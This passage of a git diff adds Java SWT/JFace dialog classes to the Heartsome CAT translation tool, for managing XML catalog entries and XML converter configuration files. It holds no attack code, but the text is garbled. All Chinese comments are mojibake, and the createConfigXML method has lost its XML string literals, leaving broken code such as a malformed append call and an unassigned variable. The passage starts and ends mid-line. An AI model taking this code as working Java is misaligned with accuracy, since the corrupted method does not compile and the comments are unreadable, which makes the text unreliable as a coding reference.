TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + } + + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + tableViewer.setInput(getCatalogValue()); + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.08, 0.15, 0.36, 0.36 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + return tparent; + } + + /** + * 获å–目录数æ®ï¼Œä»Žcatalogue.xmlæ–‡ä»¶ä¸­èŽ·å– + * @return ; + */ + public String[][] getCatalogValue() { + adHandler = new ADXmlHandler(); + adHandler.openFile(catalogXmlLocation); + return adHandler.getCatalogValueList(catalogXmlLocation).toArray(new String[][] {}); + } + + /** + * 给三个按钮添加事件 ; + */ + public void initListener() { + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + AddOrEditCatalogDialog addDialog = new AddOrEditCatalogDialog(getShell(), root, adHandler, true); + // å¦‚æžœæ˜¯ç‚¹å‡»çš„ç¡®å®šæŒ‰é’®ï¼Œé‚£ä¹ˆæ›´æ–°æ•°æ® + if (addDialog.open() == IDialogConstants.OK_ID) { + String[][] cataValue = getCatalogValue(); + tableViewer.setInput(cataValue); + tableViewer.getTable().setSelection(cataValue.length - 1); + tableViewer.getTable().showSelection(); + } + } + }); + + // + // + // + // + deleteBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + if (table.getSelectionCount() >= 1) { + boolean response = MessageDialog.openConfirm(getShell(), + Messages.getString("dialogs.CatalogManagerDialog.msgTitle"), + Messages.getString("dialogs.CatalogManagerDialog.msg1")); + if (!response) { + return; + } + + TableItem[] selectItems = table.getSelection(); + List xpathList = new LinkedList(); + List dataList = new LinkedList(); + for (int i = 0; i < selectItems.length; i++) { + String name = selectItems[i].getText(1); + String id = selectItems[i].getText(2); + String url = selectItems[i].getText(3); + StringBuffer xpathSB = new StringBuffer(); + if ("public".equalsIgnoreCase(name)) { + xpathSB.append("/catalog/public[@publicId='" + id + "' and @uri='" + url + "']"); + } else if ("system".equalsIgnoreCase(name)) { + xpathSB.append("/catalog/system[@systemId='" + id + "' and @uri='" + url + "']"); + } else if ("uri".equalsIgnoreCase(name)) { + xpathSB.append("/catalog/uri[@name='" + id + "' and @uri='" + url + "']"); + } else if ("nextCatalog".equalsIgnoreCase(name)) { + xpathSB.append("/catalog/nextCatalog[@catalog='" + url + "']"); + } + xpathList.add(xpathSB.toString()); + dataList.add(new String[] { name, id, url }); + } + adHandler.deleteCatalog(catalogXmlLocation, xpathList, dataList); + + tableViewer.setInput(getCatalogValue()); // 更新列表 + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("dialogs.CatalogManagerDialog.msgTitle2"), + Messages.getString("dialogs.CatalogManagerDialog.msg2")); + } + + } + }); + + editBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + editCatalog(); + } + }); + + table.addMouseListener(new MouseAdapter() { + @Override + public void mouseDoubleClick(MouseEvent e) { + editCatalog(); + } + }); + } + + public void editCatalog() { + if (table.getSelectionCount() >= 1) { + TableItem item = table.getSelection()[0]; + String name = item.getText(1); + String id = item.getText(2); + String url = item.getText(3); + + String xpath = ""; + if ("public".equalsIgnoreCase(name)) { + xpath = ("/catalog/public[@publicId='" + id + "' and @uri='" + url + "']"); + } else if ("system".equalsIgnoreCase(name)) { + xpath = ("/catalog/system[@systemId='" + id + "' and @uri='" + url + "']"); + } else if ("uri".equalsIgnoreCase(name)) { + xpath = ("/catalog/uri[@name='" + id + "' and @uri='" + url + "']"); + } else if ("nextCatalog".equalsIgnoreCase(name)) { + xpath = ("/catalog/nextCatalog[@catalog='" + url + "']"); + } + + AddOrEditCatalogDialog dialog = new AddOrEditCatalogDialog(getShell(), root, adHandler, false); + dialog.create(); + dialog.setInitData(name, id, url, xpath); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + tableViewer.setInput(getCatalogValue()); // 更新列表 + } + } else { + MessageDialog.openInformation(getShell(), Messages.getString("dialogs.CatalogManagerDialog.msgTitle2"), + Messages.getString("dialogs.CatalogManagerDialog.msg3")); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/XmlConvertManagerDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/XmlConvertManagerDialog.java new file mode 100644 index 0000000..b00bfea --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/XmlConvertManagerDialog.java @@ -0,0 +1,459 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs; + +import java.io.FileOutputStream; +import java.text.MessageFormat; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.ts.ui.advanced.handlers.ADXmlHandler; +import net.heartsome.cat.ts.ui.advanced.model.ElementBean; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITableLabelProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerSorter; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.Text; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * XMLl转æ¢å™¨ç®¡ç†(这是添加,和修改,和分æžXMLæ ·å¼æ–‡ä»¶çš„父类) + * @author robert 2012-02-27 + * @version + * @since JDK1.6 + */ +public class XmlConvertManagerDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(XmlConvertManagerDialog.class); + + protected TableViewer tableViewer; + protected Table table; + protected List elementsList = new LinkedList(); + protected ADXmlHandler handler = new ADXmlHandler(); + /** 当å‰ç”Ÿæˆçš„XML转æ¢æ–‡ä»¶ */ + protected String curConvertXml; + protected Button addBtn; + protected Button editBtn; + protected Button deleteBtn; + protected IWorkspaceRoot root; + protected Text rootTxt; + protected Label rootTipLbl; + + protected XmlConvertManagerDialog(Shell parentShell) { + super(parentShell); + } + + protected void createTable(Composite tparent) { + tableViewer = new TableViewer(tparent, SWT.FULL_SELECTION | SWT.V_SCROLL | SWT.H_SCROLL | SWT.MULTI + | SWT.BORDER); + table = tableViewer.getTable(); + table.setHeaderVisible(true); + table.setLinesVisible(true); + GridDataFactory.fillDefaults().grab(true, true).applyTo(table); + + createTableColumns(); + + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.2, 0.2, 0.2, 0.20, 0.14 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + tableViewer.setLabelProvider(new TViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + + tableViewer.addDoubleClickListener(new IDoubleClickListener() { + public void doubleClick(DoubleClickEvent event) { + editElement(); + } + }); + } + + /** + * åˆ›å»ºåˆ—è¡¨çš„å¤´å¹¶ä¸”æŽ’åº ; + */ + private void createTableColumns() { + String[] columnNames = new String[] { Messages.getString("dialogs.XmlConvertManagerDialog.columnNames1"), + Messages.getString("dialogs.XmlConvertManagerDialog.columnNames2"), + Messages.getString("dialogs.XmlConvertManagerDialog.columnNames3"), + Messages.getString("dialogs.XmlConvertManagerDialog.columnNames4"), + Messages.getString("dialogs.XmlConvertManagerDialog.columnNames5") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT, SWT.LEFT, SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + + // 处ç†æŽ’åºçš„问题 + switch (i) { + case 0: + tableColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? ElementsOrder.name_ASC : ElementsOrder.name_DESC); + asc = !asc; + } + }); + break; + case 1: + tableColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? ElementsOrder.type_ASC : ElementsOrder.type_DESC); + asc = !asc; + } + }); + break; + case 2: + tableColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? ElementsOrder.inlineType_ASC : ElementsOrder.inlineType_DESC); + asc = !asc; + } + }); + break; + case 3: + tableColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? ElementsOrder.attributes_ASC : ElementsOrder.attributes_DESC); + asc = !asc; + } + }); + break; + case 4: + tableColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? ElementsOrder.remainSpace_ASC : ElementsOrder.remainSpace_DESC); + asc = !asc; + } + }); + break; + default: + break; + } + } + } + + /** + * åˆ·æ–°åˆ—è¡¨ï¼Œå¹¶ä¸”å®šä½ + * @param bean + * ; + */ + protected void refreshTable(ElementBean bean) { + tableViewer.setInput(elementsList); + if (bean != null) { + tableViewer.setSelection(new StructuredSelection(bean)); + } + } + + /** + * 给增删改三个按钮添加点击事件 ; + */ + protected void initListener() { + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + AddOrEditElementOfXmlConvertDialog dialog = new AddOrEditElementOfXmlConvertDialog(getShell(), true, + elementsList); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + refreshTable(dialog.getCurrentElement()); + } + } + }); + + editBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + editElement(); + } + }); + + deleteBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + if (MessageDialog.openConfirm(getShell(), + Messages.getString("dialogs.XmlConvertManagerDialog.msgTitle1"), + Messages.getString("dialogs.XmlConvertManagerDialog.msg1"))) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator iter = structuredSelection.iterator(); + ElementBean bean = new ElementBean(); + while (iter.hasNext()) { + bean = iter.next(); + elementsList.remove(bean); + } + + refreshTable(null); + } + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("dialogs.XmlConvertManagerDialog.msgTitle2"), + Messages.getString("dialogs.XmlConvertManagerDialog.msg2")); + } + } + }); + } + + /** + * 创建新的é…置文件 + * @param configXMLLocation + * ; + */ + protected void createConfigXML(String configXMLLocation) { + // 先创建一个空文本 + try { + FileOutputStream outPut = new FileOutputStream(configXMLLocation); + StringBuffer configDataSB = new StringBuffer(); + configDataSB.append("\n"); + configDataSB + .append("\n"); + configDataSB.append("\n"); + + ElementBean bean; + for (int i = 0; i < elementsList.size(); i++) { + configDataSB.append("\t{0}\n", bean.getName())); + + } + configDataSB.append(""); + + outPut.write(configDataSB.toString().getBytes("UTF-8")); + outPut.close(); + } catch (Exception e) { + LOGGER.error("", e); + } + } + + public String getCurentConverXML() { + return curConvertXml; + } + + /** + * 编辑选中的元素 ; + */ + protected void editElement() { + ISelection selection = tableViewer.getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator iter = structuredSelection.iterator(); + ElementBean bean = iter.next(); + + AddOrEditElementOfXmlConvertDialog dialog = new AddOrEditElementOfXmlConvertDialog(getShell(), false, + elementsList); + dialog.create(); + dialog.setInitEditData(bean); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + refreshTable(dialog.getCurrentElement()); + } + } else { + MessageDialog.openInformation(getShell(), Messages.getString("dialogs.XmlConvertManagerDialog.msgTitle2"), + Messages.getString("dialogs.XmlConvertManagerDialog.msg3")); + } + } + + /** + * XMLé…置文件列表的标签æ供器 + * @author robert 2012-02-24 + * @version + * @since JDK1.6 + */ + private class TViewerLabelProvider extends LabelProvider implements ITableLabelProvider { + public Image getColumnImage(Object element, int columnIndex) { + return null; + } + + public String getColumnText(Object element, int columnIndex) { + if (element instanceof ElementBean) { + ElementBean bean = (ElementBean) element; + switch (columnIndex) { + case 0: + return bean.getName(); + case 1: + return bean.getType(); + case 2: + return bean.getInlineType(); + case 3: + return bean.getTransAttribute(); + case 4: + return bean.getRemainSpace(); + default: + return null; + } + } + return null; + } + } + + /** + * XML转æ¢å™¨åˆ—表排åºç±» + * @author robert + * @version + * @since JDK1.6 + */ + static class ElementsOrder extends ViewerSorter { + private static final int name_ID = 1; // 第一列,元素å + private static final int type_ID = 2; // 第二列,元素类型 + private static final int inlineType_ID = 3; // 第三列,内è”类型 + private static final int attributes_ID = 4; // 第四列,å¯ç¿»è¯‘属性 + private static final int remainSpace_ID = 5; // 第五行,ä¿ç•™ç©ºæ ¼ + + public static final ElementsOrder name_ASC = new ElementsOrder(name_ID); + public static final ElementsOrder name_DESC = new ElementsOrder(-name_ID); + + public static final ElementsOrder type_ASC = new ElementsOrder(type_ID); + public static final ElementsOrder type_DESC = new ElementsOrder(-type_ID); + + public static final ElementsOrder inlineType_ASC = new ElementsOrder(inlineType_ID); + public static final ElementsOrder inlineType_DESC = new ElementsOrder(-inlineType_ID); + + public static final ElementsOrder attributes_ASC = new ElementsOrder(attributes_ID); + public static final ElementsOrder attributes_DESC = new ElementsOrder(-attributes_ID); + + public static final ElementsOrder remainSpace_ASC = new ElementsOrder(remainSpace_ID); + public static final ElementsOrder remainSpace_DESC = new ElementsOrder(-remainSpace_ID); + + private int sortType; + + private ElementsOrder(int sortType) { + this.sortType = sortType; + } + + @Override + public int compare(Viewer viewer, Object e1, Object e2) { + ElementBean bean1 = (ElementBean) e1; + ElementBean bean2 = (ElementBean) e2; + switch (sortType) { + case name_ID: { + String name1 = bean1.getName(); + String name2 = bean2.getName(); + return name1.compareToIgnoreCase(name2); + } + case -name_ID: { + String name1 = bean1.getName(); + String name2 = bean2.getName(); + return name2.compareToIgnoreCase(name1); + } + + case type_ID: { + String type1 = bean1.getType(); + String type2 = bean2.getType(); + return type1.compareToIgnoreCase(type2); + } + case -type_ID: { + String type1 = bean1.getType(); + String type2 = bean2.getType(); + return type2.compareToIgnoreCase(type1); + } + + case inlineType_ID: { + String inlineType1 = bean1.getInlineType(); + String inlineType2 = bean2.getInlineType(); + return inlineType1.compareToIgnoreCase(inlineType2); + } + case -inlineType_ID: { + String inlineType1 = bean1.getInlineType(); + String inlineType2 = bean2.getInlineType(); + return inlineType2.compareToIgnoreCase(inlineType1); + } + + case attributes_ID: { + String attributes1 = bean1.getTransAttribute(); + String attributes2 = bean2.getTransAttribute(); + return attributes1.compareToIgnoreCase(attributes2); + } + case -attributes_ID: { + String attributes1 = bean1.getTransAttribute(); + String attributes2 = bean2.getTransAttribute(); + return attributes2.compareToIgnoreCase(attributes1); + } + + case remainSpace_ID: { + String remainSpace1 = bean1.getRemainSpace(); + String remainSpace2 = bean2.getRemainSpace(); + return remainSpace1.compareToIgnoreCase(remainSpace2); + } + case -remainSpace_ID: { + String remainSpace1 = bean1.getRemainSpace(); + String remainSpace2 = bean2.getRemainSpace(); + return remainSpace2.compareToIgnoreCase(remainSpace1); + } + } + return 0; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/XmlConverterConfigurationDialog.java b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/XmlConverterConfigurationDialog.java new file mode 100644 index 0000000..d3d8cf5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.advanced/src/net/heartsome/cat/ts/ui/advanced/dialogs/XmlConverterConfigurationDialog.java @@ -0,0 +1,427 @@ +package net.heartsome.cat.ts.ui.advanced.dialogs; + +import java.io.File; +import java.io.FilenameFilter; +import java.text.MessageFormat; +import java.util.Iterator; +import java.util.LinkedList; +import java.util.List; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.advanced.ADConstants; +import net.heartsome.cat.ts.ui.advanced.TableViewerLabelProvider; +import net.heartsome.cat.ts.ui.advanced.resource.Messages; + +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.DoubleClickEvent; +import org.eclipse.jface.viewers.IDoubleClickListener; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.viewers.ViewerSorter; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.PlatformUI; + +/** + * XML转æ¢å™¨é…åˆ¶å™¨çš„ä¸»çª—å£ + * @author robert 2012-02-22 + * @version + * @since JDK1.6 + */ +public class XmlConverterConfigurationDialog extends TrayDialog { + private Button addBtn; + private Button editBtn; + private Button deleteBtn; + private Button analysisBtn; + /** xml转æ¢å™¨é…置文件所在的目录 */ + private String configXmlFolderLocation; + private TableViewer tableViewer; + private Table table; + private IWorkspaceRoot root; + + public XmlConverterConfigurationDialog(Shell parentShell, String configXmlFolderLocation) { + super(parentShell); + this.configXmlFolderLocation = configXmlFolderLocation; + root = ResourcesPlugin.getWorkspace().getRoot(); + } + + @Override + protected boolean isResizable() { + return true; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialogs.XmlConverterConfigurationDialog.title")); + } + + /** + * 添加帮助按钮,备注,这里的é…置与其他的ä¸ä¸€æ · + * robert 2012-09-06 + */ + protected Control createHelpToolItem(Composite parent) { + // ROBERTHELP xml 转æ¢å™¨é…ç½® + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch08.html#configure-xml-converter", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_BEGINNING)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + @Override + protected Control createButtonBar(Composite parent) { + Composite buttonCmp = new Composite(parent, SWT.NONE); + + GridLayout layout = new GridLayout(); + layout.numColumns = 2; + layout.makeColumnsEqualWidth = false; + layout.marginWidth = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_MARGIN); + layout.marginHeight = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_MARGIN); + layout.horizontalSpacing = convertHorizontalDLUsToPixels(IDialogConstants.HORIZONTAL_SPACING); + layout.verticalSpacing = convertVerticalDLUsToPixels(IDialogConstants.VERTICAL_SPACING); + buttonCmp.setLayout(layout); + GridData data = new GridData(SWT.FILL, SWT.FILL, true, false); + buttonCmp.setLayoutData(data); + buttonCmp.setFont(parent.getFont()); + + Composite leftCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(true, false).applyTo(leftCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(3).equalWidth(false).applyTo(leftCmp); + + addBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.XmlConverterConfigurationDialog.addBtn"), false); + editBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.XmlConverterConfigurationDialog.editBtn"), false); + deleteBtn = createButton(leftCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.XmlConverterConfigurationDialog.deleteBtn"), false); + + Composite rightCmp = new Composite(buttonCmp, SWT.NONE); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(1).equalWidth(false).applyTo(rightCmp); + + analysisBtn = createButton(rightCmp, IDialogConstants.CLIENT_ID, + Messages.getString("dialogs.XmlConverterConfigurationDialog.analysisBtn"), false); + + Label separatorLbl = new Label(buttonCmp, SWT.HORIZONTAL | SWT.SEPARATOR); + GridDataFactory.fillDefaults().span(2, SWT.DEFAULT).applyTo(separatorLbl); + + createHelpToolItem(buttonCmp); + + Composite bottomCmp = new Composite(buttonCmp, SWT.NONE); + GridDataFactory.fillDefaults().grab(false, false).align(SWT.RIGHT, SWT.CENTER).applyTo(bottomCmp); + GridLayoutFactory.fillDefaults().extendedMargins(0, 0, 0, 0).numColumns(1).applyTo(bottomCmp); + + createButton(bottomCmp, IDialogConstants.CANCEL_ID, + Messages.getString("dialogs.XmlConverterConfigurationDialog.cancel"), true).setFocus(); + + initListener(); + + return buttonCmp; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridDataFactory.fillDefaults().grab(true, true).hint(400, 450).minSize(400, 450).applyTo(tparent); + + tableViewer = new TableViewer(tparent, SWT.FULL_SELECTION | SWT.MULTI | SWT.H_SCROLL | SWT.V_SCROLL + | SWT.BORDER); + table = tableViewer.getTable(); + table.setLinesVisible(true); + table.setHeaderVisible(true); + GridDataFactory.fillDefaults().grab(true, true).applyTo(table); + tableViewer.setLabelProvider(new TableViewerLabelProvider()); + tableViewer.setContentProvider(new ArrayContentProvider()); + + String[] columnNames = new String[] { + Messages.getString("dialogs.XmlConverterConfigurationDialog.columnNames1"), + Messages.getString("dialogs.XmlConverterConfigurationDialog.columnNames2") }; + int[] columnAlignments = new int[] { SWT.LEFT, SWT.LEFT }; + for (int i = 0; i < columnNames.length; i++) { + TableColumn tableColumn = new TableColumn(table, columnAlignments[i]); + tableColumn.setText(columnNames[i]); + tableColumn.setWidth(50); + + // 处ç†æŽ’åºçš„问题 + switch (i) { + case 0: + tableColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; // å‡åº + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? XmlConvertOrder.index_ASC : XmlConvertOrder.index_DESC); + asc = !asc; + } + }); + break; + case 1: + tableColumn.addSelectionListener(new SelectionAdapter() { + boolean asc = true; // å‡åº + + @Override + public void widgetSelected(SelectionEvent e) { + tableViewer.setSorter(asc ? XmlConvertOrder.xmlName_ASC : XmlConvertOrder.xmlName_DESC); + asc = !asc; + } + }); + break; + default: + break; + } + } + tableViewer.setInput(getXmlConfigFilesInfo()); + + // 让列表列宽动æ€å˜åŒ– + table.addListener(SWT.Resize, new Listener() { + public void handleEvent(Event event) { + final Table table = ((Table) event.widget); + final TableColumn[] columns = table.getColumns(); + event.widget.getDisplay().syncExec(new Runnable() { + public void run() { + double[] columnWidths = new double[] { 0.1, 0.85 }; + for (int i = 0; i < columns.length; i++) + columns[i].setWidth((int) (table.getBounds().width * columnWidths[i])); + } + }); + } + }); + + tableViewer.addDoubleClickListener(new IDoubleClickListener() { + public void doubleClick(DoubleClickEvent event) { + editConfigXml(); + } + }); + + return tparent; + } + + public void initListener() { + addBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + AddOrEditXmlConvertConfigDialog dialog = new AddOrEditXmlConvertConfigDialog(getShell(), true); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + String curentConvertXMl = dialog.getCurentConverXML(); + refreshTable(); + setTableSelection(curentConvertXMl); + } + } + }); + + editBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + editConfigXml(); + } + }); + + deleteBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + ISelection selection = tableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator iter = structuredSelection.iterator(); + while (iter.hasNext()) { + String convertXmlName = iter.next()[1]; + String convertXmlLoaction = root.getLocation().append(ADConstants.AD_xmlConverterConfigFolder) + .append(convertXmlName).toOSString(); + File convertXml = new File(convertXmlLoaction); + convertXml.delete(); + } + refreshTable(); + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("dialogs.XmlConverterConfigurationDialog.msgTitle"), + Messages.getString("dialogs.XmlConverterConfigurationDialog.msg1")); + } + } + }); + + analysisBtn.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + AnalysisXmlConvertConfigDialg dialog = new AnalysisXmlConvertConfigDialg(getShell()); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + String curentConvertXMl = dialog.getCurentConverXML(); + refreshTable(); + setTableSelection(curentConvertXMl); + } + } + }); + } + + public void refreshTable() { + tableViewer.setInput(getXmlConfigFilesInfo()); + } + + /** + * 查询ä½äºŽconfigXmlFolderLocation目录下的所有xml转æ¢å™¨çš„é…置文件 + * @return ; + */ + public String[][] getXmlConfigFilesInfo() { + List infoList = new LinkedList(); + File[] array = new File(configXmlFolderLocation).listFiles(new FilenameFilter() { + public boolean accept(File dir, String name) { + if (name.startsWith("config_") && name.endsWith(".xml")) {return true;} //$NON-NLS-1$ //$NON-NLS-2$ + return false; + } + }); + + for (int i = 0; i < array.length; i++) { + infoList.add(new String[] { "" + (i + 1), array[i].getName() }); + } + return infoList.toArray(new String[][] {}); + } + + /** + * 编辑转æ¢é…ç½®XML文件 ; + */ + public void editConfigXml() { + ISelection selection = tableViewer.getSelection(); + if (!selection.isEmpty() && selection != null && selection instanceof IStructuredSelection) { + IStructuredSelection structuredSelection = (IStructuredSelection) selection; + @SuppressWarnings("unchecked") + Iterator iter = structuredSelection.iterator(); + String convertXml = iter.next()[1]; + + AddOrEditXmlConvertConfigDialog dialog = new AddOrEditXmlConvertConfigDialog(getShell(), false); + dialog.create(); + String convertXmlLoaction = root.getLocation().append(ADConstants.AD_xmlConverterConfigFolder) + .append(convertXml).toOSString(); + if (dialog.setInitEditData(convertXmlLoaction)) { + int result = dialog.open(); + // 如果点击的是确定按钮,那么更新列表 + if (result == IDialogConstants.OK_ID) { + String curentConvertXMl = dialog.getCurentConverXML(); + refreshTable(); + setTableSelection(curentConvertXMl); + } + } + } else { + MessageDialog.openInformation(getShell(), + Messages.getString("dialogs.XmlConverterConfigurationDialog.msgTitle"), + Messages.getString("dialogs.XmlConverterConfigurationDialog.msg2")); + } + } + + /** + * 选中列中表中已ç»ç¼–辑或已ç»æ·»åŠ 